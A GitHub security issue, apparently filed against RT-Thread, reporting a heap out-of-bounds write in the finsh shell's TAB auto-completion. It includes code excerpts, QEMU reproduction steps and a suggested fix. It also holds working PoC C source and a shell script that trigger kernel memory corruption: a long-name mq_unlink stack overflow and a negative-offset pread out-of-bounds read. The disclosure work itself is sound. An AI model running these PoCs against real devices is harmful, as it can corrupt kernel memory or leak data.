Skip to content

[Security] Heap out-of-bounds write in finsh TAB auto-completion (msh_auto_complete_path) — completion result never clamped to the line buffer #11738

Description

@REYu6

Summary

msh_auto_complete_path() (components/finsh/msh.c) copies the matched
filesystem entry name into shell->line (257 bytes:
char line[FINSH_CMD_SIZE + 1], shell.h:78) without checking that the
result still fits:

/* components/finsh/msh.c:744-746 */
length = index - path;
rt_memcpy(index, full_path, min_length);     /* min_length NOT clamped */
path[length + min_length] = '\0';
...
strcat(path, "/");                           /* msh.c:756/764 */

min_length starts as rt_strlen(dirent->d_name) (msh.c:711-723) — i.e.
up to 255 for an LFN entry (RT_DFS_ELM_MAX_LFN=255) — and the typed prefix
can itself be up to 256 characters. Nothing compares
length + min_length against FINSH_CMD_SIZE, so the memcpy writes up to
~512 bytes into the 257-byte heap-embedded line[] array of the
rt_calloc'd struct finsh_shell (shell.c:1036).

A second, related primitive in the same function: full_path = rt_malloc(256) (msh.c:640) is filled by a prefix loop
(msh.c:667-672) with getcwd() + typed directory portion, unbounded; and
getcwd() is implemented via rt_strncpy() which does NOT NUL-terminate
on truncation (dfs_posix.c:1373, kstring.c:361-388), so a working
directory of ≥256 characters already causes an out-of-bounds
rt_strlen(full_path) read and subsequent overflow of the 256-byte chunk.

Affected

  • Component: finsh/msh (components/finsh/msh.c)
  • Revision: master 6ea6827
  • Configuration: default shell (RT_USING_FINSH, FINSH_USING_MSH,
    DFS_USING_POSIX); no separate completion switch exists in this tree
    (FINSH_USING_TAB_COMPLETION does not exist — TAB dispatch at
    shell.c:793-801 is unconditional).

Reproduction (QEMU, bsp/qemu-vexpress-a9)

Prepare a file with a 184-character name on the FAT root directory, then at
the msh prompt type echo + 200 characters that prefix the long name, and
press TAB (console output followed by the rendered screenshot):

msh />echo LLLL…(200 chars)→[TAB]
msh />echo L

tab.png

The 205-character line has been physically destroyed by the completion
write: length(205) + min_length(184) + 1 = 390 bytes were written into
line[257], i.e. 133 bytes past the end of the array, corrupting the
adjacent line_position / line_curpos fields (shell.h:79-80) and the
tail of the heap-allocated shell object. (In another variant — a 250-char
prefix — the completion even leaks a stray NUL byte onto the terminal,
visible in the raw log.)

The write extent is attacker-tunable via the prefix length and the matched
filename length; overflow bytes come from the attacker-created filename.

Expected result

Completion must never write beyond FINSH_CMD_SIZE; a completion that does
not fit is truncated or refused (finsh_shell_update_line_length()
currently runs only AFTER the unclamped write, shell.c:803).

Impact

  • Attacker model: anyone with interactive console access (physical UART, or
    network-exposed console deployments) — the long entry names can be created
    beforehand from the same console (mkdir) or supplied via the SD image.
  • Impact: kernel heap corruption with attacker-influenced bytes; on no-MMU
    devices, crash to code execution. Note the shell's intended capability
    boundary is "run exported commands" — memory corruption from a TAB key
    press is outside any documented capability (and FINSH_USING_AUTH
    shows the console is treated as a boundary in some deployments).

Suggested fix

Clamp before every write, e.g. in msh_auto_complete_path():

if (length + min_length >= FINSH_CMD_SIZE)   /* refuse overlong completion */
    return;

and bound the full_path prefix loop by the 256-byte allocation, plus
NUL-terminate in getcwd() on truncation (dfs_posix.c:1373).


Complete PoC source

The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.

poc.sh (executed on the target as /poc.sh)

mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bsp/applications/poc.c

#include <rtthread.h>

/* PoC application: simulates a user application / msh script caller.
 * Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */

extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);

static void poc_mount(int argc, char **argv)
{
    int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
    rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);

static void poc_mq(int argc, char **argv)
{
    char name[512];
    int i;
    for (i = 0; i < 200; i++) name[i] = 'M';
    name[200] = '\0';
    rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
    mq_unlink(name);
    rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);

static void poc_pread(int argc, char **argv)
{
    long off = -64;
    int fd;
    char buf[40];
    long n;
    int i;
    if (argc > 1) off = atol(argv[1]);
    fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
    if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
    write(fd, "AAAABBBBCCCCDDDD", 16);
    rt_memset(buf, 0, sizeof(buf));
    rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
    n = pread(fd, buf, 32, off);
    rt_kprintf("[poc] pread returned %d bytes:", (int)n);
    for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
    rt_kprintf("\n[poc] done\n");
    close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);

Build (bsp/qemu-vexpress-a9, unmodified default configuration):

cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions